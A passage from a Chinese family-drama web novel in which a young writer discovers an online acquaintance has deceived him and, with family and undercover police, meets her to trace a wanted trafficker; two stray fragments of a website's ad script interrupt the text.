正好老安洗完尿布进来了,周子琰便问道:“妈,给孙叔叔打个电话,让他帮忙问问,大同那边是不是有个女大学生大义灭亲,举报自己的爸爸犯罪。” 老安没问缘由,直接去自己房间打了通电话。 “你孙叔叔说了,半个小时后给你答复。”老安继续忙碌去了。 老周不在家,他们父女养的那些花花草草,都得照顾到啊。 这一忙就是一上午,还要洗衣做饭,得亏她老当益壮,不觉得辛苦。 正忙着,电话响了。 老安挂断电话,来到周子琰房间,见儿子正在帮忙给小阿澈拍照片,暂时没有说什么。 照片拍完,她才敲了敲门:“子琰,你孙叔叔问了,没有。” 74. 妹妹(二更) 周子琛很意外。 这怎么可能呢? 她明明深受其害,她明明比谁都渴望摆脱那样的爸爸,她甚至尝试自杀! 可她为什么会骗他呢? 再说了,他都答应借钱帮她自谋出路了呀。 他的人生陷入了空前的迷雾之中。 以至于他踉跄着后退到了门板上,哐当一声,吓得他原地惊跳了起来。 无法言说的挫败感将他吞沫。 这简直是他人生中最可笑的滑铁卢。 只得转身,回到房间,扑到电脑桌前,想要问个清楚。 可是,那头没有回应。 没有。 可能是出发了。 电脑这么笨重,带不了。 那他还要去图书馆跟她见面吗? 他最恨别人骗他了。 再者,见了面说什么呢? “嗨,你好,为什么骗我?”这太幼稚了。 太可笑了。 果然还是家里蹲太久了,把外面的人想得太好,太过善良了。 他跌坐在椅子上,左手托着额头,右手不断地操作鼠标,麻木的,机械的刷新着邮件的页面。 耳边响起老安的声音:“被骗了吧?傻孩子,世界这么大,什么人没有啊。不过是网上聊了几个月的网友,别太在意。回头让你爸爸陪你出去散散心,啊。” “可是我不理解啊妈。”周子琛真的很崩溃,“你看我姐夫,遭遇不幸,不断尝试挣脱,不断自救。我姐能找到他不全是巧合,如果不是他正好去追人贩子,事情不会这么顺利的。一个人,只有自救才能被救。所以我真的很佩服姐夫,那么差的条件都能挣脱出来上了大学。我以为长嬴也是……” “傻孩子,这年头能用得起电脑的人家,能有多差呢?一定是她维持现状可以过得很舒服,所以才骗你。毕竟你跟她只是网友,什么都没确定下来呢,你就要人家放弃眼前的一切去举报自己的爸爸,这不是开玩笑嘛?”老安到底是长辈,对人性的阴暗面看得比较透彻一些。 周子琛很难过,靠在妈妈肩上,默默翻看着邮件:“是我天真了,她一直在说她不是好人,我还不信,以为她只是自卑,需要人帮她一把……我以为我可以跟我姐一样,拯救一个年轻的灵魂……” “这两件事没有可比性啊。你姐跟你姐夫毕竟有儿时的情分在,小南和小北又是在咱家长大的,就算不为小东自己,为了你吴伯伯他们,你姐也会去找小东的。可是你跟这个长嬴呢?隔着网络,你知道她是人是鬼?说不定是个长满络腮胡子的抠脚大汉呢?”老安尝试分析两件事的本质区别。 周子琛又不是真的脑子不好,他只是太羡慕姐姐跟姐夫了,产生了不切实际的救世主情结。 他陷入了漫长的沉默,不知道自己到底该怎么办。 就在这时,进来一封陌生邮件。 【长嬴妹妹】:你好,我是长嬴的妹妹,你们的邮件我都看了,奉劝你一句,别太信她。 周子琛非常震惊,赶紧敲打键盘。 【玄英】:你为什么可以偷看你姐姐的电脑? 【长嬴妹妹】:她的电脑?你搞搞清楚,这个家里的哪样东西不是我爸赚来的?她一个拖油瓶,也配有电脑? 【玄英】:你们不是亲姐妹? 【长嬴妹妹】:一半一半吧,一个妈生的,但不是一个老子。 【玄英】:她说她爸爸对她不好,是现在的爸爸不好吗? 【长嬴妹妹】:她放屁!我爸对她还不好吗?她这些年吃的喝的用的,哪一样不是我爸提供的。上大学,别人一个月生活费有五十就不错了,她一个月一千!她说的她爸不好,是说的她亲爸,她亲爸是个强.奸犯。 【玄英】:怪不得她这么痛苦。 【长嬴妹妹】:她痛苦,我爸就不痛苦吗?她那个爸爸隔三差五来找我妈妈要钱,我妈也不肯报警,还不都是为了她,怕耽误她的前程。可是我和我哥呢?我们两个就活该生活在这样耻辱的环境下吗?整条街上,整个辖区,谁不知道我家这点破事?我爸也要脸的好吧。 【玄英】:可是,强.奸是公诉案件吧?你们不报警也不影响啊。 【长嬴妹妹】:没有证据啊,我妈不肯作证,别的受害者也是。 【玄英】:对不起,我没想到是这样。 【长嬴妹妹】:对不起什么呀,你这人也太善良了吧,跟你笔下的男主有得一拼哦! 【玄英】:你看过我的作品? 【长嬴妹妹】:废话,不然我多这个事做什么?虽然我很希望有个人把她接盘过去,免得她留在家里烦人,可是我没想到你是《冬雪初晴一梦遥》的作者,我很喜欢你的作品,我不希望你被骗。不过我得抗议,这部作品太虐了,虽然结局很好,可是我流了好多眼泪,你好可恶啊! 【玄英】:……先不说这个,就算电脑是你爸爸买的,你也不好直接翻看你姐姐的邮件吧? 【长嬴妹妹】:你居然还帮她说话? 【玄英】:不是啊,一码归一码,你这样做确实不太好。 【长嬴妹妹】:我这么跟你说吧,当初我爷爷奶奶答应把这台电脑给她用,条件就是不准设置密码,她不在家的时候我和我哥都可以用。所以你只能怪她,走得太着急,自己忘了退出登录。我一打开电脑就看到你的邮件跳出来,我顺手点开就看到了。 【玄英】:对不起,误会你了。 【秋璃】:不用跟我说对不起。 【玄英】:你改网名了,你叫秋璃? 【秋璃】:是啊,我都知道你名字了,平等起见,也让你知道的我的名字咯。 【玄英】:你姐叫什么? 【秋璃】:秋瑶,知道她为什么喜欢你的作品吗? 【玄英】:因为书名最后一个字? 【秋璃】:对。如果不是她有那么一个爸,你们能走到一起我肯定是祝福的。可是我不允许她伤害你,希望你谅解我自作主张的行为。还有,她那个爸爸有前科,去年找我妈没拿到钱,就跑到大学去骚扰她了。你要是跟我姐见面了,搞不好她爸爸也会缠上你的,毕竟你那么有钱。所以我劝你,最好是别去见她。我真不是故意破坏我姐跟你的……呃,友情?真的,但凡她不是这么自私,我都会帮她的。你一定要慎重。 【玄英】:她爸爸这么无耻吗? 【秋璃】:不然呢?一没钱花就到处作奸犯科,我妈真是倒了八辈子血霉,碰上那个畜生。 【玄英】:这么多年了,她爸爸都没有被抓起来吗? 【秋璃】:因为别的案子抓过几次,都是小打小闹的,每次出来就换一个身份。强.奸的案子从来没有人报警,国内就这个舆论环境,哪怕女人是受害者,错的也一定是女人,你懂的吧?所以我从来不怪我妈妈,我只是受不了我姐,居然骗你。 【玄英】:我懂。可是他既然换了身份,就影响不到你姐啊? 【秋璃】:有没有可能,我妈知道他的真实身份?真要是报了案,到时候就不得不供出来了。 【玄英】:看来你姐的出生信息上有他的真实身份。 【秋璃】:肯定的,我妈不给我们看。 【玄英】:你妈太糊涂了。 【秋璃】:没办法,又不能换一个妈。总之你最好是别跟她见面,如果你实在想去,那你也小心一点,要是看到一个特别猥琐,奇丑无比的男人跟着她,你就赶紧跑。你也别怕认不出来,那个男人嘴角有一颗巨大的黑痣,上面还长了根胡子,很好认的。 【玄英】:黑痣,黑胡子? 周子琛猛地站了起来。 他好像看到了什么不得了的信息。 正好玄关那里传来开门声,他赶紧喊了一声:“妈,看看是不是我姐夫回来了,快,重大线索!” 老安没听见,下楼扔垃圾去了。 周子琛跑到客厅一看,才知道自己想多了。 赶紧回到电脑桌前,继续查询更多 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的特征。 【玄英】:只是黑痣和黑胡子的话,也不算多么特别的特征,还有别的特征吗? 【秋璃】:这还不够啊。 【玄英】:我见过嘴边长痦子的,也有胡子,跟你描述的差不多。 【秋璃】:那你记着,他很下流,看到漂亮女人会色眯眯的盯着。上次幸亏我哥下手快,不然我差点被他欺负了。 【玄英】:那你们为什么不报警啊。 【秋璃】:不说了吗,我妈不让,怕耽误我姐前程,真是气死我了。我爸就是因为这个,跟我妈闹离婚的。 【玄英】:你妈也是拎不清。 【秋璃】:老一辈的都有点糊涂,我是她女儿,能怎么办呢?只能保护好自己吧。所以我姐每次回来,我跟我哥都会躲出去,万一她爸爸来找她,起码不会碰上。 【玄英】:你跟你哥哥也是不容易,真的很抱歉,我之前冤枉你了。 【秋璃】:真的没事,你是个好人,你一定要注意安全,别被黑胡子缠上。我还等着看你更多的作品呢。 【玄英】:你多大了? 【秋璃】:我高一。 【玄英】:好好考,考个好学校,加油。 【秋璃】:谢谢你。我哥也让我谢谢你,他说没见过你这么善良的作家。以后有机会的话,我们一起去找你玩。就这样吧,我们要下去吃饭了。 【玄英】:好的。再见。 【秋璃】:对了,我把你发了合同照片的那封邮件删了,免得我姐起什么坏心思。 【玄英】:多谢。 【秋璃】:不客气。以后要注意哦,别轻易把自己的信息发给别人。 【玄英】:谢谢忠告,铭记在心。 【秋璃】:再见。 周子琛心里有底了。 原本是不打算去见秋瑶的,可是现在,似乎很有必要。 万一这个黑胡子就是姐夫一直在找的那个人贩子,说不定可以把那个畜生引出来。 不过…… 万一黑胡子没有跟着秋瑶…… 那也没事,放长线钓大鱼,总有机会把那个畜生引出来的。 至于秋瑶这个人…… 周子琛默默叹了口气。 他已经不抱指望了。 吃饭都有气无力的。 一下午躺在床上,生无可恋的等姐夫回来拿主意。 先不告诉姐姐,她会着急的。 快天黑的时候,姐姐那边喊他。 他赶紧振作起来,应了一声:“哎,来了。” 到那一看,小阿澈拉粑粑了。 赶紧手忙脚乱的帮忙。 正忙着,玄关再次传来开门声,这次他没办法出去喊,手上都是粑粑,老天。 直到吴旭东赶了进来,他才如释重负。 他怕自己太过激动,语无伦次说不清楚,赶紧去洗了把手,回到房间,把聊天记录保存下来,复制成文本,打印了好几份。 半个小时后,一大家子在客厅吃饭。 周子琛老样子,三催四请才出现。 与以往不同的是,他手里拿着一摞打印纸。 他尽量平静的看了一圈,爸妈正在吃饭,姐夫在给姐姐挑鱼刺,而姐姐呢,正往姐夫嘴里塞红烧肉。 整个餐厅,只有他和正阳大哥两个没有伴儿。 这饭都不用吃了,被爸妈和姐姐姐夫的狗粮喂饱了。 齁甜。 见他迟迟不肯坐下,老安一头雾水:“子琛,你不饿?” “好意思问呢,见了我爸就忘了我,哼。”周子琛撇撇嘴,把打印好的聊天记录分成几份,倒扣在每个人面前。 “先别看。”周子琛停在吴旭东对面,“姐夫你做好心理准备。我数一二三,一起看。” 周子琰嫌他墨迹,已经翻开了。 于是他刚开始倒计时,便听一向有素质的姐姐传来了一声国骂。 中气十足,震耳欲聋。 75. 骗子 吴旭东很少听周子琰骂人。 赶紧拿起桌子上的打印纸扫了一眼。 没忍住,妇唱夫随了一句。 两口子面面相觑,齐刷刷看向周子琛:“你打算怎么办?” “我想去见见她,我想知道骗我的女人到底长什么样。再说了,我也想早点把那个禽兽引出来,早点让姐夫解脱。”周子琛坐下,非常担心,“不过……他都逃了这么多年了,万一抓不到他,又被他盯上了咱们,会不会连累到小阿澈?” “这不难,等你姐出了月子,带阿澈回岛上就行。”老安跟老周对视一眼,觉得很有必要见见。 老周放下筷子:“没错,岛上不是随便进的,阿澈在岛上生活的话,问题不大。我比较担心的是——” 说着他看向周子琛,给了儿子一个意味深长的警告。 周子琛明白,保证道:“我肯定不会陷进去,绝对不会。” “子琛,话别说得太早。虽然我们也想抓住黑胡子,可是……如果代价是伤害你,姐姐会心疼的。”周子琰放下打印纸,不无担心的看着弟弟。 毕竟他是个闷在家里写作的书呆子,没接受过社会的毒打,未必玩得过那个秋瑶。 倒不是她嫌弃秋瑶的出身,而是因为那个秋瑶,明显不是什么善茬。 她不愿意弟弟跟这种人走到一起。 万一弟弟真的动了情,最后一定会闹得很难看。 所以…… 周子琛明白,但他其实真的很想去。 只得看向姐夫。 吴旭东平静看过来:“见,我陪你去。” 起码这样可以打断暧昧气氛,免得子琛真的被那个秋瑶钓上钩。 汤正阳却道:“我去,小旭别去。” “不用,我去。”吴旭东坚持,“实在不行,子琛就别去了,我说我是子琛就行。” “不,我想见见她,以后才能躲着点,要不然迟早还会被她骗。”周子琛握紧了拳头,“除非你们不想抓黑胡子了,那我就不去。” “子琛,我陪你去。”汤正阳转身握住吴旭东的肩膀:“你不行,你见到商惊鸿都崩溃了,更不用说可能出现的黑胡子了,你会露馅儿的。我去最好,我完全不记得以前的事了,伤害不到我。” “没错,正阳出事的时候十六岁了,跟现在的外貌区别不大。如果当初把他扔下悬崖的是真是黑胡子,黑胡子肯定会认出来的,说不定他一慌神,反倒是给了咱们机会。”周中擎沉思片刻,道,“不过这么一来,不能直接让你们两个去,最好是报警。让便衣警察跟着。秋瑶这条线很关键,一定要让警察参与进来。” “行,我吃完就去准备。”周子琛赶紧坐下扒拉两口饭。 周中擎起身去打电话。 这种大事,还是长辈出面的好。 回到餐厅的时候,给了大家一个放心的眼神:“都安排好了,快吃。” 吃完周中擎也跟了出去:“我去咖啡馆找个位置观察,你们不要跟我说话,尽量远离我。” 毕竟儿子和准女婿都有可能有危险,他不放心。 吴旭东只能焦躁的在家里等着。 还好有小阿澈在,要不然,他真的会忍不住跟出去的。 周子琰看着他那坐立不安的样子,默默招了招手:“小东啊,我总躺着,浑身不舒服,你帮我按摩一下。” 吴旭东明白,她是在给他找事做,转移注意力。 他老婆真好。 * 晚上七点,图书馆。 周子琛跟汤正阳各自拿着一摞书,在图书馆门口的台阶上坐着等人。 台阶旁边还竖了个硬纸壳做的姓名牌——长嬴,我在这里。 秋瑶下了飞机,直接打车赶了过来,一抬头便看到了龙飞凤舞的六个字。 跟周子琛合同上的字一样好看。 她很自来熟,笑着走过来打招呼:“嗨,晚上好啊,大作家。” 周子琛惊讶的看着台阶下的女生。 天哪,这是秋瑶? 长得也太好看了吧! 即便他从小见惯了妈妈和姐姐们的美貌,也得承认秋瑶并不逊色。 她是另一种风格的美。 如果说他妈妈是传统的古典美人,二姐是书香萦袖的知性美人,三姐是朝气蓬勃的阳光美人,那秋瑶就是风情万种的尤物。 她穿着V领长裙,纯正的中国红,衬得她肤光胜雪。 尤其是站在路灯下,朦胧的光晕增添了那种难以言说的暧昧气息,越发显得楚楚动人。 杏眼含笑,眉如远山。 那唇齿间微微噙着的一抹笑意,足以让不少男人沦陷。 可是她骗了他。 会骗人的女人,再好看也要保持距离。 周子琛只得移开视线,斟酌着怎么开口。 一旁的汤正阳见他有点局促,便淡然抬眸,问道:“姑娘,跟谁说话呢?” “跟他。”秋瑶指了指旁边的周子琛。 汤正阳反问:“我就不能是大作家?” “大哥,我不是这个意思。”秋瑶被人反驳,一点不见局促,反倒是笑盈盈的。 汤正阳心道这个女人是个沉得住气的,长得也好看,幸亏他来了,要不然子琛真的会着了她的道儿。 便继续试探她:“那你什么意思?这里一共就两个人,你喊大作家,就没有考虑过我跟我弟都有可能是大作家?” “是我考虑不周,对不起。”秋瑶笑笑,“大哥,我是来找周子琛的,请问你怎么称呼?” “我就不能是周子琛?”汤正阳继续观察。 秋瑶愣了一下。 其实面前这个陌生的大哥挺帅的,就是左边脸上的伤疤有点吓人。 不过要说他是作家的话,确实有点睁眼说瞎话了。 他更像个商人。 秋瑶摇了摇头:“肯定不是,周子琛刚刚大学毕业一年,大哥像是在社会上摸爬滚打好些年了。” 汤正阳笑笑:“眼挺尖啊,这都能看出来。” “那当然,大哥应该是当大老板的。”秋瑶相信自己的判断。 她后爸也喜欢这么盘问别人,尤其是发福之后,更是给人一种土皇帝的感觉。 但是这话她不能说,便笑着解释道:“我爸出去做生意的时候,也爱穿西装打领带。” “你是说我老。”汤正阳故意拉下脸来。 秋瑶赶紧找补:“不不不,我不是这个意思,我是说你身上有成功人士的精英气质。” 这嘴巴真的挺会说的。 汤正阳更担心了,干脆挑衅道:“哦?那你的意思是,我弟弟不成功?” “大哥你真逗,我说什么你都能找到我的错处,我不跟你说了。”秋瑶做了个鬼脸,坐在了周子琛旁边,“玄英,你怎么不说话?” 周子琛能说什么,正阳大哥正在评估她的性格。 显然,她真的不是什么善茬,居然会主动结束跟正阳大哥的对话,再用网名直接拉近跟他的距离。 周子琛琢磨片刻,指了指自己的嗓子,咳嗽了两声。 不想开口。 汤正阳道:“我弟弟感冒了,嗓子疼,你有什么话跟我说。” “哎呀,居然感冒了呀,发烧吗?”秋瑶伸手想摸周子琛的额头,叫周子琛赶紧起身躲开了。 秋瑶笑着追上三个台阶:“你躲什么呀,我又不吃人。” 周子琛捂着嘴巴,摇了摇头。 汤正阳解释道:“他不想把感冒传染给你,你还是离他远点儿吧。” “我都跟你们说了半天话了,要是真的会传染我,离远点也没用了。”秋瑶走到周子琛跟前,抬头打量着他,“没想到你现实生活里这么害羞,我包里有感冒药,我给你拿。” 周子琛直呼头疼。 他是真的没想到,秋瑶不仅长得好看,性格也是主动进攻型的。 这……哪个单身汉受得了啊。 还好提前知道秋瑶骗了他,要不然他真的要倒大霉。 他只能装病,避免进一步的接触。 没想到被秋瑶解读成了害羞。 也行吧,起码他可以名正言顺的缄默下去。 也不知道秋璃把他质问秋瑶的邮件删掉了没有。 希望删掉了,免得他露馅儿。 正愣神,去台阶下面拿药的秋瑶回来了。 手里还拿着一瓶没有开盖的矿泉水,帮他拧好了才递过来:“给你。” 周子琛硬着头皮把戏演下去,接过矿泉水吃了药。 秋瑶笑着说道:“看来我面子很大,你都这么不舒服了还肯出来见我,我真是太感动了。正式自我介绍一下,我叫秋瑶,秋天的秋,瑶台的瑶。” 周子琛盖上盖子,笑了笑,没说话。 汤正阳赶紧扶着周子琛,伸手摸了摸他的额头:“呦,有点低烧,走,去咖啡馆坐着聊吧,舒服一点。” “好啊。”秋瑶走过来,想扶着周子琛的另外一只胳膊。 站到同一个台阶上的时候,才意识到自己跟他的身高差距有多离谱。 这得差了三十几公分吧? 她在他跟前,像个小学生似的。 忍不住噗嗤一声笑了:“你好高啊,大作家。” 说着就要上手扶他。 叫汤正阳猛地把他拽到怀里,躲开了:“秋瑶啊,你去拿行李吧,我弟可沉了,我背他下去吧。” 秋瑶蹙眉,这个大哥怎么回事,真的只是怕她过了病气吗? 算了,第一次见,不好对人家哥哥出言不逊的。 再说了,他没有否认他是个大老板。 都是有钱人。 谁会得罪有钱人? 起码她不会。 她笑着给自己找台阶下:“那倒也是,我个头这么小,他要是脚下不稳磕一下子,只怕我要遭殃。大哥心地真好,谢谢啦。” 汤正阳默默叹气,瞧瞧这话说的。 这种女人,妥妥的祸水。 小嘴叭叭的,子琛完全不是她的对手。 以后别见了。 三人到了咖啡馆,找了个邻街且靠窗的座位坐下。 角落里的周中擎戴着墨镜,手里拿着报纸,时不时端起咖啡小抿一口。 看到儿子那装病的样子,暗道糟糕。 只怕这小子是躲不开一场情伤了。 还好第一时间发现了秋瑶的真面目。 这一点上来说,他得感谢秋瑶的妹妹。 举起报纸,他看了眼右手边的窗外。 便衣警察正在旁边的服装店试衣服,正好可以隔着小巷看到这边的情况。 便衣警察冲他点了点头——注意到目标了,放心。 他继续低头看报,支着耳朵,听一听年轻人的对话。 左前方的窗口,周子琛靠在椅背上,拿手捂着眼睛,看起来好像真的很不舒服。 汤正阳问他:“你都这样了,就不点咖啡了吧?” 周子琛点头。 他又问秋瑶:“你喝什么?” “拿铁吧。” 很快,两杯西瓜汁,一杯拿铁端了过来。 秋瑶不想冷场,没话找话道:“西瓜汁好,清热去火,感冒了多喝点。” 汤正阳笑笑:“可惜西瓜快下市了,不好买。不然我能给他拎一口袋回去。” “大哥是做生意的,可以自己开个水果店,打通供货渠道就好办了。”秋瑶看似漫不经心的闲聊着。 汤正阳却不接这话,他知道,她在打听他的财力。 这个女人眼珠子一直在转,不是善茬。 他不会交底的。 便笑着岔开了话题:“哦,看来你很懂,可以给我传授一下经验吗?” “首先就是找好供货商咯,最好是找那种有特殊渠道的,不管什么水果,他都能第一时间找到品质最好的,这样你店铺的口碑才会一骑绝尘。然后就是店铺选址,不能图便宜,找那种犄角旮旯的小铺子,要找个人流量大的旺铺,这样才能赚大钱。”秋瑶说得头头是道。 汤正阳不否认,只遗憾道:“可惜我做的是小本买卖,没有这个财力。不过你这么有经验,想必家里是开店的吧?” 这不是反过来在打听她的家庭情况吗? 秋瑶又不是傻子,笑道:“大哥真看得起我。是我大学同学家里开了个水果店,我有空的时候会过去帮忙,所以知道一点。” “原来是这样,看来你挺懂事的,知道勤工俭学,帮你爸妈减轻负担。”汤正阳低头喝果汁,免得一直盯着,影响她的表演。 秋瑶的谎话信手拈来:“没办法咯,家里穷,我又不是我爸亲生的,一个月才给我五十块钱,广州那个消费水平,够干嘛的。” “真抱歉,我不知道你家庭情况这么复杂。方便说说吗?也许我能帮你提供一点意见。”汤正阳在桌子底下踢了踢周子琛。 清醒一点,这是个撒谎成瘾的女人。 秋璃明明说了,秋瑶的生活费是一千。 她现在说五十,什么目的还用说吗? 周子琛明白,失望越深,伤害越深。 他是个彻头彻尾的小丑,真可笑。 恶心的感觉在胃里翻涌。 干脆趴在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 桌子上,默默消化这股难受的情绪。 秋瑶见他不舒服,想要摸摸他的额头:“要不送他去医院吧?” 汤正阳抢在她前头摸了摸:“没事,只是一点低烧,应该是药的副作用,趴会儿就好了。” “那就好。”秋瑶看得出来,这个大哥有点防备她。 不过这也正常,周子琛有钱,家里人肯定怕他被骗。 不过越是这样,她越是要进一步接近周子琛。 先搞好跟他哥哥的关系吧。 于是秋瑶问道:“你们两个看着不太像,是不是一个随妈一个随爸?” 那倒也没错。 周子琛随自己的妈。 他随他自己的爸。 不算撒谎。 他点了点头:“是不太像,龙生九子嘛,哈哈。” “大哥是在本地做生意吗?听口音,像是北方的。”秋瑶笑笑,低头喝了口咖啡。 汤正阳道:“我舅舅没儿子,我爸妈把我过继给我舅舅了,所以我是北方口音。不过这几年我都在这边,小本买卖,做做服装什么的。” “哦,大哥是做服装的,那挺巧的呢,我学的是服装设计。”秋瑶笑笑,“大哥需要我帮忙的话,尽管开口。” “一定一定,那……咱们互相留个联系方式?”汤正阳思索一番,准备把这边的地址写到服装店那边。 让楚劲雄他们帮忙拦截一道,免得这个女人直接找上周子琛。 好在到现在为止,周子琛没暴露家庭地址和电话号码。 毕竟他拍的合同那一页,只有个署名。 所以,电话也留服装店那边的好了。 至于借口,他已经想好了。 他这么提议,秋瑶求之不得,赶紧打开背包,取出纸笔。 写完递给了汤正阳:“学校宿舍只有楼下有电话,太忙的时候我接不到的。要是有大哥大就好了。” 这话是说给周子琛听的。 他不是要帮她吗? 来点实际行动表示一下? 可惜周子琛趴着,好像睡着了,一点反应也没有。 不过没关系,回头邮件联系,一样的。 她接过汤正阳递过来的地址,笑着问道:“电话是大哥店里的吧?” “我爸妈过惯了苦日子,座机好几千呢,舍不得装,所以只有服装店那边有座机。还是我俩偷偷装的。不过没事,我弟弟写作之余会过去看店的,有人了做做生意,没人了看看书,两不耽误。”论说谎,汤正阳还真的不带怕的。 他做了这么多年生意,见人说人话,见鬼说鬼话的本事那叫一流。 秋瑶真的信了。 也对,就跟她妈妈一样,明明家里有钱,就是舍不得化妆打扮。 硬生生被外面的小妖精给勾走了后爸。 哎。 她把纸条叠起来,郑重收好:“不早了,要不我送你们回去吧?” 这是在打听周子琛的住址。 汤正阳才不会上当,笑着道:“那好,正好我要去服装店查账,一起吧。” 秋瑶默默叹气,这个大哥,还真是滴水不漏啊,不过没事,回头邮件问吧。 汤正阳扶着周子琛,没开停车场的大吉普,而是在路边打了个出租。 秋瑶坐前面,兄弟俩坐后面。 一路上秋瑶都在打听服装店的生意情况。 汤正阳笑笑,继续含糊不清的应付过去。 反正楚劲雄他们都是喊他大哥,不会露馅儿的。 盘了账,他便把周子琛留在了店里,亲自把秋瑶送去了火车站。 连秋瑶偷偷留下来跟踪他们的机会都给杜绝了。 秋瑶气得不行,上了火车才想起来,忘了问这个大哥的名字了。 真是大意了。 * 周子琛回到家里,一言不发进了卧室,关上门,独自疗伤。 汤正阳跟周中擎面面相觑。 “子琛要难过上一阵子了。”汤正阳不免担心。 周中擎也很无奈:“总要有人给他上一课的。也是好事,起码没有任何的经济损失,总比被她骗得倾家荡产才醒悟的好。” 汤正阳默默叹气,去找吴旭东。 吴旭东一点也不意外:“看聊天记录,这女生就不是个真诚的人。她在子琛面前装可怜,不过是想利用子琛的同情心。赶紧让子琛提醒秋璃,把他质问秋瑶的邮件删了。” “我去吧。他现在情绪低落,正好我安慰安慰他。”汤正阳是老大哥,汤家有六个弟弟,这种事情他熟。 吴旭东看着大哥操心的背影,默默叹气:“警察没有看到黑胡子,只能先盯着秋瑶这条线了。” “没事,只要秋瑶的出生信息上登记了生父的名字,警方是可以查出来的。”周子琰比较乐观。 秋瑶的妈妈死活不肯报警,已经说明了一切。 黑胡子的真实身份,即将水落石出。 就是可怜了子琛,一场情伤是避免不了了。 哪怕第一时间摁下了休止键,那种被骗的感觉,也会缠绕他很久的。 何况还是个大美人。 周子琰思来想去,还是下床去看看弟弟,叮嘱道:“阿澈喜欢让人搂着睡,你陪她一会儿。” “去吧。”吴旭东挑眉,这还用说,他又不是不称职的爸爸,早就发现了。 周子琰到了弟弟房间,发现他正在跟秋璃发邮件。 秋璃那边已经把不该留的邮件都删了。 周子琛松了口气,见到姐姐过来,强行挤出一脸的笑。 周子琰静静地走过去,轻轻地抱了抱他:“我弟弟这么优秀,会有更好的女人来跟你相遇的,嗯?” 周子琛死鸭子嘴硬:“我没事啊姐,我只是吃了感冒药,胃里难受。睡一觉就好了。” “嗯,睡一觉就好了。”语言有时候是苍白的,周子琰只能拍拍他,给他一点空间,让他自己慢慢消化。 第二天上午,一封邮件跳了进来。 【长嬴】:有没有人打着我的名义找你? 【玄英】:没有啊,怎么了? 【长嬴】:没事,随便问问。 秋瑶在学校没有电脑用,去同学家借的。 她盯着屏幕,眉头紧锁。 没错的,她少了一封邮件,周子琛拍合同的那封,回收箱里也没有。 一定是秋璃搞的鬼! 气得她,立马给秋璃打了个电话。 可惜秋璃不在家。 她妈妈接的电话:“瑶瑶,你是不是泄露了你爸爸的信息,大早上的警察就来找我问话了。” 76. 惨死(二更) 秋瑶很意外:“我没有啊!我……我直接来学校了啊,我怎么会泄露他的消息。是不是斜对门的婶子多事?她之前来买东西,又劝我报警。” “是吗?我问问。” “你没跟警察说什么吧?”秋瑶紧张得很,她可不能成为罪犯的女儿。 就算周子琛好骗,可是他的哥哥那么难缠,她未必能搞定周子琛。 所以,还是先保住现在拥有的,再想办法接触周子琛,万无一失。 对面回道:“当然没有啊,我跟警察说了,我不认识他。” “那就好。”秋瑶松了口气,提醒道,“要不你把我的出生证明烧了吧,上面有他的名字。不行做个假的,就说我是秋家这个爸爸的女儿,不是他的。” “好,我这就去办。”秋母应下,却又犹豫,“你舅舅那边……万一警察去找……” “那你给他们封口费啊!要是你手里钱不够,我去给爸打电话哭哭穷。”秋瑶顾不得那许多了,只能厚着脸皮问后爸要钱。 秋母不理解:“你一个月生活费一千,还哭穷?” “我就说我想买电脑。”秋瑶有的是理由,实在不行还可以说自己想跟同学一起投资做点买卖,怎么都行。 反正后爸很好说话的,大概是怕外人说他偏心,对这个女儿不好。 秋母松了口气:“那好吧,要钱的时候尽量哄着点,别惹他生气,也别管他跟那个女人的事。终归是我不好。” “知道了。”秋瑶挂了电话,没提秋璃的事。 提了也没用,妈妈会护着妹妹的。谁让妈妈理亏,为了她的前途,害妹妹受了委屈。 真是一本糊涂账。 她只能发了封邮件警告秋璃。 又给周子琛去了封邮件,详细打听了一下他那个哥哥的事情。 不过周子琛居然没回,可能是感冒还没好吧。 * 吴旭东晚上没睡好,上午快八点了还没醒。 小阿澈拉吃得多拉得多,夜里他起来了三次,早上六点多才眯着。 周子琰也没睡好,两个小时就要喂一次奶。 即便她醒了也是哈欠连天的,只有身边的小猪猪睡得香甜。 周子琰饿了,轻手轻脚起身,刚踩上拖鞋,身后的小家伙就崩出来一个气势磅礴的屁,又长又响。 俨然像是冲锋的号角。 一下就把吴旭东吵醒了。 这可是黄金炸.弹的信号!!! 他赶紧跳下床,找盆,接水,再把卫生纸,祛痱粉,毛巾等一一准备好。 周子琰不得不佩服,这家伙,跟个特种兵似的,简直训练有素。 没等她操心,吴旭东已经抱着小阿澈,掀开了尿布,单手握着她的两只小脚丫,对准水盆,把黄金接住。 这样直接倒进马桶里冲掉就好,不容易沾上去。 也比拉在尿布上好清理多了。 等周子琰进来喊他吃早饭的时候,才发现他已经倒在床上睡着了。 右臂伸出去,圈成一个C,小阿澈就躺在C的圆弧里面,像是一个小小的温馨港湾,里面停泊着一叶小小船儿。 而他自己,因为太困了,也没有好好躺着,左腿挂在床边,脚尖着地——显然,这是一挨着床就睡着了。 真是辛苦了,阿澈爸爸。 周子琰没有喊醒他,给他们父女拍了张照片就出去了。 “妈,正阳大哥呢?”她坐在餐厅跟老安闲聊。 “去广州了,他认识那边的疍户,让他们帮忙介绍几个熟人,盯着点秋瑶。”老安正在晾尿布。 阳台外面晴空万里。 周子琰感慨:“大哥是真的疼小东。” “是啊,早上五点就起来了,喝了碗粥就走了。他说了,这事交给他就行了,你们两口子照顾好阿澈比什么都重要。”老安提着桶进来。 周子琰点头:“大哥责任心强,我不意外。不过我有点担心他,黑胡子太狡猾了。” “他请了保镖,你爸也介绍了几个退伍军人帮他做事,应该没事的。”老安去卫生间,把洗衣机里的衣服扒拉出来,忙忙碌碌。 周子琰松了口气:“燕西哥太绝情,让人恨不得没有那个大哥。正阳哥又太有责任心太好了,让人不忍心他这么辛苦。” “都是一家人了,不说这些。”老安担心的看了眼子琛的房间,“也不知道你弟弟要伤心多久,你多劝劝他。” “等我出了月子,让他跟我去岛上住一段时间吧。那边空气好,孩子也多,又有一群年轻人,说不定还能给他介绍个正经的女朋友。”周子琰考虑过这个问题了,作家作家,但不能做个“坐家”。 也要出去接触接触社会上的人,建立一定的社交圈子。 要不然,她这个天真的弟弟下次还会被人骗的。 再说了,有了一定的社会阅历,才会写出更好的作品。 老安没有意见:“让他住招待所吧,免得住你那里不方便。” 